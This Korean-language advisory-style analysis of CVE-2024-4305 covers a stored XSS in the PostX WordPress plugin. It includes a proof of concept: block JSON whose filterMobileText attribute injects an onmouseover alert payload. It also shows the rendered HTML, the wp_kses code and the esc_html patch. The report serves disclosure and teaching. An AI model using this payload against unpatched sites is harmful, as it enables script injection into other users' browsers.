[CVE-2024-4305] 취약점 분석 보고서
PostX Stored XSS 취약점
1. Description
페이지나 게시물에 블록이 삽입될 때, 해당 블록 옵션 중 일부를 출력하기 전에 검증과 이스케이프 처리를 하지 않아 Contributor 이상의 권한을 가진 사용자가 Stored XSS 공격을 수행할 수 있다.
또한, 검증과 이스케이프 처리가 누락된 블록 옵션은 JSON 데이터로 저장되고 HTML로 렌더링되는 과정에서 악의적인 스크립트가 실행될 수 있다.
- CVSS: 5.9(Medium)
- CWE: CWE-79(XSS)
2. Environment Setting
2.1 Affected Version
- Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX < 4.1.0 - Contributor+
3. PoC
⚠️ Contributor 이상의 사용자만 게시물을 작성하고, 해당 게시물에 블록을 삽입하여 블록 옵션을 수정할 수 있기 때문에 Contributor 이상의 권한을 가진 계정으로 진행해야 한다.
편집기를 코드 편집기로 변경하고 블록 옵션(filterMobileText)에 악성 스크립트를 포함시켜 임시 저장한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"blockId": "d57ca5",
"currentPostId": "2198",
"filterShow": true,
"paginationShow": true,
"readMore": true,
"contentTag": "section",
"openInTab": true,
"headingText": "123",
"headingURL": "123",
"headingTag": "h5",
"titleTag": "h6",
"metaMinText": "123",
"metaAuthorPrefix": "123",
"fallbackImg": {
"url": "123",
"id": 99999
},
"readMoreText": "123",
"filterText": "ClickMe!",
"filterMobileText": "\"onmouseover='alert(/XSS/)'\"",
"loadMoreText": "123"
}
JSON 데이터를 통해 입력된 사용자 입력값이 DOM 요소에 동적으로 삽입되고 HTML 속성으로 렌더링 된다. 따라서, ClickMe!
텍스트 위로 커서가 이동되면 onmouseover
이벤트가 발생한다.
1
2
3
4
5
<ul class="ultp-flex-menu" data-name="" onmouseover="alert(/XSS/)">
<li class="filter-item">
<a class="filter-active" data-taxonomy="" href="#">ClickMe!</a>
</li>
</ul>
4. Analysis
wp_kses
함수는 두 번째 인자로 $allowd_html
를 사용해 허용할 태그와 속성을 정의한다.
1
wp_kses( string $content, array[]|string $allowed_html, string[] $allowed_protocols = array() ): string
PoC에서 공격 벡터로 사용되었던 filterMobileText
에는 wp_kses
함수를 사용해서 xss 공격을 방지하고 있다.
1
2
3
4
// ultimate-post/blocks/template/filter.php
$attr["filterText"] = wp_kses($attr["filterText"], $allowed_html_tags);
$attr["filterMobileText"] = wp_kses($attr["filterMobileText"], $allowed_html_tags);
허용된 태그에서도 최소한의 속성만을 허용하고 있다는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// ultimate-post/classes/Functions.php
/**
* Custom Text kses
* @param $params
* @return array|bool|mixed|string
* @since v.4.0.2
*/
public function ultp_allowed_html_tags($extras=[]) {
$allowed = array(
'a' => array(
'href' => true,
'title' => true,
),
'abbr' => array(
'title' => true,
),
'b' => array(),
'br' => array(),
'blockquote' => array(
'cite' => true,
),
'em' => array(),
'i' => array(),
'q' => array(
'cite' => true,
),
'strong' => array(),
);
return array_merge($allowed, $extras);
}
언뜻 보기에는 문제가 없지만 wp_kses
함수는 HTML 태그와 속성만 필터링하기 때문에 취약점이 발생한다. 코드 편집기 모드로 전환하면 JSON 형식으로 블록 데이터를 직접 편집할 수 있으므로 위의 검증과 이스케이프 과정을 모두 우회할 수 있다.
5. Patch Diff
4.1.0 버전에서는 esc_html
를 사용하여 모든 특수문자를 이스케이프 처리하였다.
1
2
3
4
// ultimate-post/blocks/template/filter.php
$attr["filterText"] = isset($attr['filterText']) && $attr['filterText'] ? wp_kses($attr["filterText"], $allowed_html_tags) : '';
$attr['filterMobileText'] = isset($attr['filterMobileText']) && $attr['filterMobileText'] ? esc_html($attr['filterMobileText']) : '';
6. Discussion
플러그인 코드에서는 wp_kses
함수로 필터링하고 있기 때문에, 겉보기에는 안전한 데이터 처리가 이루어진 것처럼 보인다. 그러나, 데이터가 JSON 입력에서 시작해 HTML로 렌더링되는 과정을 놓치면, 검증 및 이스케이프로 누락으로 인한 취약점을 간과할 수 있다.
UI 입력뿐만 아니라 코드 편집기 모드와 같은 사용자 입력 경로에 실제로 악성 데이터를 삽입하여 테스트 해보는 것이 중요할 듯 하다.